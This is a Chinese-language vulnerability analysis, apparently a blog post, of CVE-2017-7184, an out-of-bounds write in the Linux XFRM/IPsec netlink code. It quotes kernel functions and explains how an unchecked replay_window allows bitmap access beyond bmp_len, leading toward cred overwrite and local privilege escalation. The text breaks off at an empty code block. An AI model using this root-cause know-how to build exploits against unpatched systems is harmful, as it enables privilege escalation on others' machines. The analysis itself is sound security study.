CVE-2017-7184-Linux-xfrm模块越界读写提权漏洞分析

字数统计: 9.5k字   |   阅读时长≈ 47分

漏洞简介

CVE-2017-7184是 Kernel版本 < 4.10.6 的 XFRM 模块中存在一段越界写，使得攻击者可以覆盖 cred中的值从而本地提权。

XFRM

XFRM(transform)是Linux中实现 IPsec协议的模块

IPsec

IPSec是通过分组加密认证来保护IP协议的一类协议，包含 AH、ESP、IKE协议，提供对数据包的认证和加密功能，能帮助IP层建立安全可信的数据包传输通信：

SA(Security Associstion)：安全关联，SA由spi、ip、安全协议标识(AH或ESP)这三个参数唯一确定，SA定义了ipsec双方的ip地址、ipsec协议、加密算法、密钥、模式、抗重放窗口等，SA用 xfrm_state结构体标识

AH(Authentication Header)：认证，AH为ip包提供数据完整性校验和身份认证功能，提供抗重放能力，验证算法由SA指定；

ESP(Encapsulating security payload)：加密，ESP为ip数据包提供完整性检查，认证和加密

Linux内核的IPSec实现

Linux内核中IPSec实现即是通过xfrm框架，该框架用于内核协议栈收到的IPsec报文需要经过转换才能还原为原始报文)，在16.04版本下xfrm代码主要在net/xfrm以及net/ipv4下。下面是主要代码的功能：

  • xfrm_state.c 状态管理
  • xfrm_policy.c xfrm策略管理
  • xfrm_algo.c 算法管理
  • xfrm_hash.c 哈希计算函数
  • xfrm_input.c 安全路径(sec_path)处理，用于处理进入的ipsec包
  • xfrm_user.c netlink接口的SA和SP(安全策略)管理

其中xfrm_user.c中的代码允许我们想内核发送netlink消息来调用相关handler实现对SA和SP的配置，其中涉及处理函数如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
xfrm_dispatch[XFRM_NR_MSGTYPES] = {
[XFRM_MSG_NEWSA       - XFRM_MSG_BASE] = { .doit = xfrm_add_sa        },
[XFRM_MSG_DELSA       - XFRM_MSG_BASE] = { .doit = xfrm_del_sa        },
[XFRM_MSG_GETSA       - XFRM_MSG_BASE] = { .doit = xfrm_get_sa,
	.dump = xfrm_dump_sa,
	.done = xfrm_dump_sa_done  },
[XFRM_MSG_NEWPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_add_policy    },
[XFRM_MSG_DELPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_get_policy    },
[XFRM_MSG_GETPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_get_policy,
	                                   .dump = xfrm_dump_policy,
	                                   .done = xfrm_dump_policy_done },
[XFRM_MSG_ALLOCSPI    - XFRM_MSG_BASE] = { .doit = xfrm_alloc_userspi },
[XFRM_MSG_ACQUIRE     - XFRM_MSG_BASE] = { .doit = xfrm_add_acquire   },
[XFRM_MSG_EXPIRE      - XFRM_MSG_BASE] = { .doit = xfrm_add_sa_expire },
[XFRM_MSG_UPDPOLICY   - XFRM_MSG_BASE] = { .doit = xfrm_add_policy    },
[XFRM_MSG_UPDSA       - XFRM_MSG_BASE] = { .doit = xfrm_add_sa        },
[XFRM_MSG_POLEXPIRE   - XFRM_MSG_BASE] = { .doit = xfrm_add_pol_expire},
[XFRM_MSG_FLUSHSA     - XFRM_MSG_BASE] = { .doit = xfrm_flush_sa      },
[XFRM_MSG_FLUSHPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_flush_policy  },
[XFRM_MSG_NEWAE       - XFRM_MSG_BASE] = { .doit = xfrm_new_ae  },
[XFRM_MSG_GETAE       - XFRM_MSG_BASE] = { .doit = xfrm_get_ae  },
[XFRM_MSG_MIGRATE     - XFRM_MSG_BASE] = { .doit = xfrm_do_migrate    },
[XFRM_MSG_GETSADINFO  - XFRM_MSG_BASE] = { .doit = xfrm_get_sadinfo   },
[XFRM_MSG_NEWSPDINFO  - XFRM_MSG_BASE] = { .doit = xfrm_set_spdinfo,
		                           .nla_pol = xfrma_spd_policy,
				           .nla_max = XFRMA_SPD_MAX },
[XFRM_MSG_GETSPDINFO  - XFRM_MSG_BASE] = { .doit = xfrm_get_spdinfo   },
};

其中，需要重点关注的几个函数功能如下：

  • xfrm_add_sa：创建一个新的SA，并可以指定相关attr，在内核中，使用一个xfrm_state结构来表示一个SA
  • xfrm_del_sa：删除一个SA，也即删除一个指定的xfrm_state
  • xfrm_new_sa：根据传入参数，更新指定xfrm_state结构的内容
  • xfrm_get_ae：根据传入的参数，查询指定xfrm_state结构中的内容(包括attr)

Netlink简介

Netlink是Linux提供的用于内核和用户态进程之间的通信方式，也能用于用户空间的两个进程通信。一般用户空间和内核空间通信有三种方式：proc、ioctl和 Netlink。而前两种都是单向的，但是 Netlink可以实现双工通信。

Netlink是一种特殊的socket，其是Linux所特有的，类似于BSD中的 AF_ROUTE但又远比他的功能强大，目前在Linux内核中使用netlink进行应用与内核通信的应用很多。包括：路由daemon()

Netlink用户态使用的标准socket API有 sendto\ recvfrom\ sendmsg\ recvmsg四种。

用户态数据结构

Netlink通信跟常用的UDP Socket通信类似：

srtuct sockaddr_nl是 netlink通信地址跟普通 socket struct sockaddr_in类似

struct sockaddr_nl：

1
2
3
4
5
6
struct sockaddr_nl {
    __kernel_sa_family_t    nl_family;/* AF_NETLINK （跟AF_INET对应）*/
    unsigned short  nl_pad;     /* zero */
    __u32       nl_pid;     /* port ID  （通信端口号）*/
    __u32       nl_groups;  /* multicast groups mask */
};

struct nlmsghd：

1
2
3
4
5
6
7
8
/* struct nlmsghd 是netlink消息头*/
struct nlmsghdr {
    __u32       nlmsg_len;  /* Length of message including header */
    __u16       nlmsg_type; /* Message content */
    __u16       nlmsg_flags;    /* Additional flags */
    __u32       nlmsg_seq;  /* Sequence number */
    __u32       nlmsg_pid;  /* Sending process port ID */
};

nlmsg_len：整个netlink消息的长度(包含消息头)；nlmsg_type：消息状态，定义了4种通用的消息类型：

nlmsg_flags：消息标记，用以表示消息的类型：

nlmsg_seq：消息序列号，用以将消息排队，类似 TCP协议种的序号，但是 Netlink的这个字段是可选的，不强制使用

nlmsg_pid：发送端口的ID号，对于内核该值就是0，对于用户进程来说就是其socket所绑定的 ID 号。

struct msghdr:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct iovec {                    /* Scatter/gather array items */
     void  *iov_base;              /* Starting address */
     size_t iov_len;               /* Number of bytes to transfer */
 };
  /* iov_base: iov_base指向数据包缓冲区，即参数buff，iov_len是buff的长度。msghdr中允许一次传递多个buff，
    以数组的形式组织在 msg_iov中，msg_iovlen就记录数组的长度 （即有多少个buff）
  */
 struct msghdr {
     void         *msg_name;       /* optional address */
     socklen_t     msg_namelen;    /* size of address */
     struct iovec *msg_iov;        /* scatter/gather array */
     size_t        msg_iovlen;     /* # elements in msg_iov */
     void         *msg_control;    /* ancillary data, see below */
     size_t        msg_controllen; /* ancillary data buffer len */
     int           msg_flags;      /* flags on received message */
 };
 /* msg_name： 数据的目的地址，网络包指向sockaddr_in, netlink则指向sockaddr_nl;
    msg_namelen: msg_name 所代表的地址长度
    msg_iov: 指向的是缓冲区数组
    msg_iovlen: 缓冲区数组长度
    msg_control: 辅助数据，控制信息(发送任何的控制信息)
    msg_controllen: 辅助信息长度
    msg_flags: 消息标识
 */

漏洞分析

xfrm_state结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
/* Full description of state of transformer. */
struct xfrm_state {
	possible_net_t		xs_net;	//网络命名空间结构
	union {
		struct hlist_node	gclist;
		struct hlist_node	bydst;	//目的地址hash表
	};
	struct hlist_node	bysrc;	//源地址hash表
	struct hlist_node	byspi;	//spi hash表

	atomic_t		refcnt;	
	spinlock_t		lock;

	struct xfrm_id		id;	//SA与SP关联的ID，即目的地址、SPI、协议三元组
	struct xfrm_selector	sel;	//SA选择子
	struct xfrm_mark	mark;	//状态的标准值
	u32			tfcpad;

	u32			genid;	//SA标志ID，防止发生碰撞

	/* Key manager bits */
	struct xfrm_state_walk	km;	//密钥管理结构

	/* Parameters of this state. */
	struct {
		u32		reqid;	//序列号
		u8		mode;	//工作模式：传输模式、隧道模式
		u8		replay_window;	//防重放窗口
		u8		aalgo, ealgo, calgo;	//认证、加密、压缩算法ID
		u8		flags;	//标志，防止溢出
		u16		family;	//所使用协议族
		xfrm_address_t	saddr;	//源地址，用于封装使用
		int		header_len;	//添加的协议头长度
		int		trailer_len;	//添加的协议尾长度
		u32		extra_flags;	//
	} props;	//SA参数

	struct xfrm_lifetime_cfg lft;	//SA生存时间配置

	/* Data for transformer */
	struct xfrm_algo_auth	*aalg;	//认证算法
	struct xfrm_algo	*ealg;	//加密算法
	struct xfrm_algo	*calg;	//压缩算法
	struct xfrm_algo_aead	*aead;	//校验算法
	const char		*geniv;	

	/* Data for encapsulator */
	struct xfrm_encap_tmpl	*encap;	//NAT封装信息

	/* Data for care-of address */
	xfrm_address_t	*coaddr;

	/* IPComp needs an IPIP tunnel for handling uncompressed packets */
	struct xfrm_state	*tunnel;	//IP通信处理的SA

	/* If a tunnel, number of users + 1 */
	atomic_t		tunnel_users;	//通道数量

	/* State for replay detection */
	struct xfrm_replay_state replay;	//回放检测结构
	struct xfrm_replay_state_esn *replay_esn;	

	/* Replay detection state at the time we sent the last notification */
	struct xfrm_replay_state preplay;	//上次的回放结构
	struct xfrm_replay_state_esn *preplay_esn;

	/* The functions for replay detection. */
	const struct xfrm_replay *repl;	//重放检测结构

	/* internal flag that only holds state for delayed aevent at the
	 * moment
	*/
	u32			xflags;	//标志

	/* Replay detection notification settings */
	u32			replay_maxage;	//回放最大时间间隔
	u32			replay_maxdiff;	//回放最大差值

	/* Replay detection notification timer */
	struct timer_list	rtimer;	//回放检测定时器

	/* Statistics */
	struct xfrm_stats	stats;	//统计值

	struct xfrm_lifetime_cur curlft;	//当前定时器
	struct tasklet_hrtimer	mtimer;

	/* used to fix curlft->add_time when changing date */
	long		saved_tmo;

	/* Last used time */
	unsigned long		lastused;

	/* Reference to data common to all the instances of this
	 * transformer. */
	const struct xfrm_type	*type;	//协议ESP、AH、IPCOMP
	struct xfrm_mode	*inner_mode;	//工作模式：隧道、传输
	struct xfrm_mode	*inner_mode_iaf;
	struct xfrm_mode	*outer_mode;

	/* Security context */
	struct xfrm_sec_ctx	*security;	//安全上下文

	/* Private data of this transformer, format is opaque,
	 * interpreted by xfrm_type methods. */
	void			*data;	//私有数据
};

其中 xfrm_id如下，用于标识一个 SA身份，包含 daddr、spi、proto三个参数：

1
2
3
4
5
struct xfrm_id {
    xfrm_address_t  daddr;
    __be32      spi;
    __u8        proto;
};

xfrm_replay_state_esn结构体(replay_esn和 preplay_esn)，bmp是一个变长的内存区域，是一块bitmap，用于标识数据包的seq是否被重放过，其中 bmp_len表示变长结构体的大小，replay_window用于 seq索引的模数，即索引的范围，此结构体在创建 xfrm_state结构体时根据用户输入参数动态被创建，而程序漏洞存在于对这个结构体的读写过程中。bmp_len决定整个结构体的具体大小，而 replay_window则决定了bmp数组的索引范围：

1
2
3
4
5
6
7
8
9
struct xfrm_replay_state_esn {
    unsigned int    bmp_len;	//bmp结构大小
    __u32       oseq;			//发送序列号低32位
    __u32       seq;			//接受序列号低32位
    __u32       oseq_hi;		//发送序列号高32位
    __u32       seq_hi;			//接受序列号高32位
    __u32       replay_window;	//索引的模数，即索引的范围
    __u32       bmp[0];			//变长内存
};

xfrm_add_sa

xfrm_replay_state_esn结构体由 xfrm_add_sa函数初始化，具体调用顺序为 xfrm_add_sa()->xfrm_state_construct()->xfrm_alloc_replay_state_esn()/xfrm_update_ae_params() ，除此之外 xfrm_new_ae函数也会调用 xfrm_update_ae_params()来更新 xfrm_replay_state_esn 。xfrm_add_sa函数如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static int xfrm_add_sa(struct sk_buff *skb, struct nlmsghdr *nlh,
		struct nlattr **attrs)
{
	struct net *net = sock_net(skb->sk);
	struct xfrm_usersa_info *p = nlmsg_data(nlh);
	struct xfrm_state *x;
	int err;
	struct km_event c;

	err = verify_newsa_info(p, attrs);//协议及参数检查
	if (err)
		return err;

	x = xfrm_state_construct(net, p, attrs, &err);	//根据用户输入对结构体进行构造
	if (!x)
		return err;

	xfrm_state_hold(x);
	if (nlh->nlmsg_type == XFRM_MSG_NEWSA)
		err = xfrm_state_add(x);
	else
		err = xfrm_state_update(x);

	xfrm_audit_state_add(x, err ? 0 : 1, true);

	if (err < 0) {
		x->km.state = XFRM_STATE_DEAD;
		__xfrm_state_put(x);
		goto out;
	}

	c.seq = nlh->nlmsg_seq;
	c.portid = nlh->nlmsg_pid;
	c.event = nlh->nlmsg_type;

	km_state_notify(x, &c);
out:
	xfrm_state_put(x);
	return err;
}

verify_newsa_info函数如下，我们重点关注 verify_replay函数会对 xfrm_replay_state_esn结构参数进行检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
static int verify_newsa_info(struct xfrm_usersa_info *p,
			     struct nlattr **attrs)
{
	int err;

	err = -EINVAL;
	switch (p->family) {	//检查协议簇
	case AF_INET:
		break;

	case AF_INET6:
#if IS_ENABLED(CONFIG_IPV6)
		break;
#else
		err = -EAFNOSUPPORT;
		goto out;
#endif

	default:
		goto out;
	}

	err = -EINVAL;
	switch (p->id.proto) {	//检查id
	case IPPROTO_AH:
		if ((!attrs[XFRMA_ALG_AUTH]	&&
		     !attrs[XFRMA_ALG_AUTH_TRUNC]) ||
		    attrs[XFRMA_ALG_AEAD]	||
		    attrs[XFRMA_ALG_CRYPT]	||
		    attrs[XFRMA_ALG_COMP]	||
		    attrs[XFRMA_TFCPAD])
			goto out;
		break;

	case IPPROTO_ESP:
		if (attrs[XFRMA_ALG_COMP])
			goto out;
		if (!attrs[XFRMA_ALG_AUTH] &&
		    !attrs[XFRMA_ALG_AUTH_TRUNC] &&
		    !attrs[XFRMA_ALG_CRYPT] &&
		    !attrs[XFRMA_ALG_AEAD])
			goto out;
		if ((attrs[XFRMA_ALG_AUTH] ||
		     attrs[XFRMA_ALG_AUTH_TRUNC] ||
		     attrs[XFRMA_ALG_CRYPT]) &&
		    attrs[XFRMA_ALG_AEAD])
			goto out;
		if (attrs[XFRMA_TFCPAD] &&
		    p->mode != XFRM_MODE_TUNNEL)
			goto out;
		break;

	case IPPROTO_COMP:
		if (!attrs[XFRMA_ALG_COMP]	||
		    attrs[XFRMA_ALG_AEAD]	||
		    attrs[XFRMA_ALG_AUTH]	||
		    attrs[XFRMA_ALG_AUTH_TRUNC]	||
		    attrs[XFRMA_ALG_CRYPT]	||
		    attrs[XFRMA_TFCPAD]		||
		    (ntohl(p->id.spi) >= 0x10000))
			goto out;
		break;

#if IS_ENABLED(CONFIG_IPV6)
	case IPPROTO_DSTOPTS:
	case IPPROTO_ROUTING:
		if (attrs[XFRMA_ALG_COMP]	||
		    attrs[XFRMA_ALG_AUTH]	||
		    attrs[XFRMA_ALG_AUTH_TRUNC]	||
		    attrs[XFRMA_ALG_AEAD]	||
		    attrs[XFRMA_ALG_CRYPT]	||
		    attrs[XFRMA_ENCAP]		||
		    attrs[XFRMA_SEC_CTX]	||
		    attrs[XFRMA_TFCPAD]		||
		    !attrs[XFRMA_COADDR])
			goto out;
		break;
#endif

	default:
		goto out;
	}

	if ((err = verify_aead(attrs)))	
		goto out;
	if ((err = verify_auth_trunc(attrs)))
		goto out;
	if ((err = verify_one_alg(attrs, XFRMA_ALG_AUTH)))
		goto out;
	if ((err = verify_one_alg(attrs, XFRMA_ALG_CRYPT)))
		goto out;
	if ((err = verify_one_alg(attrs, XFRMA_ALG_COMP)))
		goto out;
	if ((err = verify_sec_ctx_len(attrs)))
		goto out;
	if ((err = verify_replay(p, attrs)))	//xfrm_replay_state_esn结构参数检查
		goto out;

	err = -EINVAL;
	switch (p->mode) {
	case XFRM_MODE_TRANSPORT:
	case XFRM_MODE_TUNNEL:
	case XFRM_MODE_ROUTEOPTIMIZATION:
	case XFRM_MODE_BEET:
		break;

	default:
		goto out;
	}

	err = 0;

out:
	return err;
}

verify_replay主要对 xfrm_replay_state_esn进行三项检查：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static inline int verify_replay(struct xfrm_usersa_info *p,
				struct nlattr **attrs)
{
	struct nlattr *rt = attrs[XFRMA_REPLAY_ESN_VAL];
	struct xfrm_replay_state_esn *rs;

	if (p->flags & XFRM_STATE_ESN) {
		if (!rt)
			return -EINVAL;

		rs = nla_data(rt);
		//检查bmp_len是否超过最大值，最大值定义为4096/4/8
		if (rs->bmp_len > XFRMA_REPLAY_ESN_MAX / sizeof(rs->bmp[0]) / 8)
			return -EINVAL;
		//检查参数长度是否正确
		if (nla_len(rt) < xfrm_replay_state_esn_len(rs) &&
		    nla_len(rt) != sizeof(*rs))
			return -EINVAL;
	}

	if (!rt)
		return 0;
	//是否为IPPROTO_ESP或者IPPROTO_AH协议
	/* As only ESP and AH support ESN feature. */
	if ((p->id.proto != IPPROTO_ESP) && (p->id.proto != IPPROTO_AH))
		return -EINVAL;

	if (p->replay_window != 0)
		return -EINVAL;

	return 0;
}

xfrm_state_construct会根据用户输入对结构体进行构造：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
static struct xfrm_state *xfrm_state_construct(struct net *net,
					       struct xfrm_usersa_info *p,
					       struct nlattr **attrs,
					       int *errp)
{	
    //调用kzalloc函数新建 xfrm_state结构体
	struct xfrm_state *x = xfrm_state_alloc(net);
	int err = -ENOMEM;

	if (!x)
		goto error_no_put;
	//拷贝用户数据
	copy_from_user_state(x, p);

	if (attrs[XFRMA_SA_EXTRA_FLAGS])
		x->props.extra_flags = nla_get_u32(attrs[XFRMA_SA_EXTRA_FLAGS]);

	if ((err = attach_aead(x, attrs[XFRMA_ALG_AEAD])))
		goto error;
	if ((err = attach_auth_trunc(&x->aalg, &x->props.aalgo,
				     attrs[XFRMA_ALG_AUTH_TRUNC])))
		goto error;
	if (!x->props.aalgo) {
		if ((err = attach_auth(&x->aalg, &x->props.aalgo,
				       attrs[XFRMA_ALG_AUTH])))
			goto error;
	}
	if ((err = attach_crypt(x, attrs[XFRMA_ALG_CRYPT])))
		goto error;
	if ((err = attach_one_algo(&x->calg, &x->props.calgo,
				   xfrm_calg_get_byname,
				   attrs[XFRMA_ALG_COMP])))
		goto error;

	if (attrs[XFRMA_ENCAP]) {
		x->encap = kmemdup(nla_data(attrs[XFRMA_ENCAP]),
				   sizeof(*x->encap), GFP_KERNEL);
		if (x->encap == NULL)
			goto error;
	}

	if (attrs[XFRMA_TFCPAD])
		x->tfcpad = nla_get_u32(attrs[XFRMA_TFCPAD]);

	if (attrs[XFRMA_COADDR]) {
		x->coaddr = kmemdup(nla_data(attrs[XFRMA_COADDR]),
				    sizeof(*x->coaddr), GFP_KERNEL);
		if (x->coaddr == NULL)
			goto error;
	}

	xfrm_mark_get(attrs, &x->mark);

	err = __xfrm_init_state(x, false);
	if (err)
		goto error;

	if (attrs[XFRMA_SEC_CTX]) {
		err = security_xfrm_state_alloc(x,
						nla_data(attrs[XFRMA_SEC_CTX]));
		if (err)
			goto error;
	}
	//申请xfrm_replay_state_esn结构体
	if ((err = xfrm_alloc_replay_state_esn(&x->replay_esn, &x->preplay_esn,
					       attrs[XFRMA_REPLAY_ESN_VAL])))
		goto error;

	x->km.seq = p->seq;
	x->replay_maxdiff = net->xfrm.sysctl_aevent_rseqth;
	/* sysctl_xfrm_aevent_etime is in 100ms units */
	x->replay_maxage = (net->xfrm.sysctl_aevent_etime*HZ)/XFRM_AE_ETH_M;
	//检查滑动窗口replay_window大小及flag,确定检测使用的函数
	if ((err = xfrm_init_replay(x)))
		goto error;

	/* override default values from above */
	xfrm_update_ae_params(x, attrs, 0);

	return x;

error:
	x->km.state = XFRM_STATE_DEAD;
	xfrm_state_put(x);
error_no_put:
	*errp = err;
	return NULL;
}

而 xfrm_alloc_replay_state_esn()函数主要是通过 kzalloc函数分别申请了两块同样大小的内存 replay_esn和 preplay_esn，大小为 sizeof(*replay_esn)+replay_esn->bmp_len*sizeof(__u32)，并将用户数据中 attr[XFRMA_REPLAY_ESN_VAL]内容复制过去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static int xfrm_alloc_replay_state_esn(struct xfrm_replay_state_esn **replay_esn,
				       struct xfrm_replay_state_esn **preplay_esn,
				       struct nlattr *rta)
{
	struct xfrm_replay_state_esn *p, *pp, *up;
	int klen, ulen;

	if (!rta)
		return 0;

	up = nla_data(rta);
	klen = xfrm_replay_state_esn_len(up);
	ulen = nla_len(rta) >= klen ? klen : sizeof(*up);

	p = kzalloc(klen, GFP_KERNEL);
	if (!p)
		return -ENOMEM;

	pp = kzalloc(klen, GFP_KERNEL);
	if (!pp) {
		kfree(p);
		return -ENOMEM;
	}

	memcpy(p, up, ulen);
	memcpy(pp, up, ulen);

	*replay_esn = p;
	*preplay_esn = pp;

	return 0;
}

在 xfrm_init_replay()函数中会对申请的结构体 xfrm_state进行检查，replay_window不大于定义的 bmp_len大小，并对 x->repl进行初始化，该成员是一个函数虚表，作用是在收到 AH或 ESP协议数据包时进行数据重放检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int xfrm_init_replay(struct xfrm_state *x)
{
	struct xfrm_replay_state_esn *replay_esn = x->replay_esn;

	if (replay_esn) {	//replay_window不能大于
		if (replay_esn->replay_window >
		    replay_esn->bmp_len * sizeof(__u32) * 8)
			return -EINVAL;

		if (x->props.flags & XFRM_STATE_ESN) {
			if (replay_esn->replay_window == 0)
				return -EINVAL;
			x->repl = &xfrm_replay_esn;
		} else
			x->repl = &xfrm_replay_bmp;
	} else
		x->repl = &xfrm_replay_legacy;

	return 0;
}

总结

  1. xfrm_add_sa函数参数：skb是用户传入的socket buffer，nlh是netlink通信的消息头，attrs是 nlatter类型，包含 nla_len和 nla_type。

  2. 首先 xfrm_add_sa调用 verify_newsa_info函数检查用户输入 p与 attrs：

    1. verify_newsa_info主要检查用户输入的协议族和 id是否正确，随后调用函数 对 attrs中的类型和长度进行检查，最后重点关注 调用了 verify_replay对 xfrm_replay_state_esn结构参数进行了检查

      1. verify_replay主要对 xfrm_replay_state_esn进行了三项检查，一是 bmp的长度 bmp_len 是否超过界限，一是 参数长度 nla_len 是否超过界限，其次是协议是否为 ESP或 AH ，*未对 replay_window进行检查 *

    2. 经过第一步的检查后，xfrm_add_sa会调用 xfrm_state_construct对 用户输入的 数据进行重构：

      1. 首先 调用 xfrm_state_alloc分配 xfrm_state结构，随后调用 copy_from_user_state将 用户数据拷贝到 xfrm_state结构，随后就是将 attrs中的数据类型依次赋给 xfrm_state结构；
      2. 调用 xfrm_mark_get将 attrs标志位赋给新结构；
      3. 调用 __xfrm_init_state初始化 xfrm_state
      4. 如果设置了 XFRMA_SEC_CTX，则调用 securiy_xfrm_state_alloc分配 nla_data
      5. 随后调用 xfrm_alloc_replay_state_esn函数 会调用 kzalloc重新 分配 replay_esn和 preplay_esn结构体，并重新赋值
      6. 调用 xfrm_ini_replay初始化 xfrm_state结构体，检查了 replay_window小于 bmap_len
      7. 最后调用 xfrm_update_ae_params更新 xfrm_state内容，这里更新时的size都是 由 bmp_len指定

  3. 最后完成了 用户输入到 SA结构 xfrm_state的重构

xfrm_replay_state_esn结构体更新

xfrm_new_ae函数，作用是修改 replay_esn成员，即 xfrm_alloc_replay_state_esn申请的第一个内存块：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
static int xfrm_new_ae(struct sk_buff *skb, struct nlmsghdr *nlh,
		struct nlattr **attrs)
{
	struct net *net = sock_net(skb->sk);
	struct xfrm_state *x;
	struct km_event c;
	int err = -EINVAL;
	u32 mark = 0;
	struct xfrm_mark m;
	struct xfrm_aevent_id *p = nlmsg_data(nlh);
	struct nlattr *rp = attrs[XFRMA_REPLAY_VAL];
	struct nlattr *re = attrs[XFRMA_REPLAY_ESN_VAL];
	struct nlattr *lt = attrs[XFRMA_LTIME_VAL];
	struct nlattr *et = attrs[XFRMA_ETIMER_THRESH];
	struct nlattr *rt = attrs[XFRMA_REPLAY_THRESH];

	if (!lt && !rp && !re && !et && !rt)
		return err;

	/* pedantic mode - thou shalt sayeth replaceth */
	if (!(nlh->nlmsg_flags&NLM_F_REPLACE))
		return err;

	mark = xfrm_mark_get(attrs, &m);	//获得mark

	x = xfrm_state_lookup(net, mark, &p->sa_id.daddr, p->sa_id.spi, p->sa_id.proto, p->sa_id.family);	//循环查找hash表获得xfrm_data结构
	if (x == NULL)
		return -ESRCH;

	if (x->km.state != XFRM_STATE_VALID)
		goto out;
/*主要检查了修改部分的bmp_len长度，该检查是因为replay_esn成员内存是直接进行复制的，不再二次分配。但缺少了对replay_window变量的检测，导致引用replay_window变量进行bitmap读写时造成的数组越界问题。*/
	err = xfrm_replay_verify_len(x->replay_esn, re);//检查xfrm_data结构参数
	if (err)
		goto out;

	spin_lock_bh(&x->lock);
	xfrm_update_ae_params(x, attrs, 1);//对xfrm_data成员进行更新
	spin_unlock_bh(&x->lock);

	c.event = nlh->nlmsg_type;
	c.seq = nlh->nlmsg_seq;
	c.portid = nlh->nlmsg_pid;
	c.data.aevent = XFRM_AE_CU;
	km_state_notify(x, &c);
	err = 0;
out:
	xfrm_state_put(x);
	return err;
}

xfrm_update_ae_params函数主要利用 memcpy函数对 xfrm_state结构进行更改，其中 计算size为 xfrm_replay_state_esn函数如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
 * someday when pfkey also has support, we could have the code
 * somehow made shareable and move it to xfrm_state.c - JHS
 *
*/
static void xfrm_update_ae_params(struct xfrm_state *x, struct nlattr **attrs,
				  int update_esn)
{
	struct nlattr *rp = attrs[XFRMA_REPLAY_VAL];
	struct nlattr *re = update_esn ? attrs[XFRMA_REPLAY_ESN_VAL] : NULL;
	struct nlattr *lt = attrs[XFRMA_LTIME_VAL];
	struct nlattr *et = attrs[XFRMA_ETIMER_THRESH];
	struct nlattr *rt = attrs[XFRMA_REPLAY_THRESH];

	if (re) {
		struct xfrm_replay_state_esn *replay_esn;
		replay_esn = nla_data(re);
		memcpy(x->replay_esn, replay_esn,
		       xfrm_replay_state_esn_len(replay_esn));
		memcpy(x->preplay_esn, replay_esn,
		       xfrm_replay_state_esn_len(replay_esn));
	}

	if (rp) {
		struct xfrm_replay_state *replay;
		replay = nla_data(rp);
		memcpy(&x->replay, replay, sizeof(*replay));	
		memcpy(&x->preplay, replay, sizeof(*replay));
	}

	if (lt) {
		struct xfrm_lifetime_cur *ltime;
		ltime = nla_data(lt);
		x->curlft.bytes = ltime->bytes;
		x->curlft.packets = ltime->packets;
		x->curlft.add_time = ltime->add_time;
		x->curlft.use_time = ltime->use_time;
	}

	if (et)
		x->replay_maxage = nla_get_u32(et);

	if (rt)
		x->replay_maxdiff = nla_get_u32(rt);
}
1
2
3
4
static inline int xfrm_replay_state_esn_len(struct xfrm_replay_state_esn *replay_esn)
{
	return sizeof(*replay_esn) + replay_esn->bmp_len * sizeof(__u32);
}

总结

  1. xfrm_new_ae函数先调用 xfrm_mark_get获得mark

  2. 随后调用 xfrm_state_lookup查找hash表，获得需要更新的 xfrm_data结构体

  3. 随后调用 xfrm_replay_verify_len对 xfrm_data进行检查：

    1. 主要检查了修改部分的bmp_len长度，该检查是因为replay_esn成员内存是直接进行复制的，不再二次分配。但缺少了对replay_window变量的检测，导致引用replay_window变量进行bitmap读写时造成的数组越界问题

  4. 然后调用了 xfrm_update_ae_params对 xfrm_data进行了更新，这里 可以对 replay_window进行修改,未检查 replay_window。

注意：从 xfrm_data的生成和更新中，可以看到 对于 replay_window的检查都是比较宽松，replay_window表示 bmap 数组的 大小，如果将 replay_window改大就可以获得 数组越界漏洞

数组越界构造

首先，能够对 xfrm_replay_state_esn操作的结构体如下，该结构用于重放检测，定义了如下的几个函数:

1
2
3
4
5
6
7
static struct xfrm_replay xfrm_replay_esn = {
	.advance	= xfrm_replay_advance_esn,
	.check		= xfrm_replay_check_esn,
	.recheck	= xfrm_replay_recheck_esn,
	.notify		= xfrm_replay_notify_esn,
	.overflow	= xfrm_replay_overflow_esn,
};

首先关注 xfrm_replay_advance_esn函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
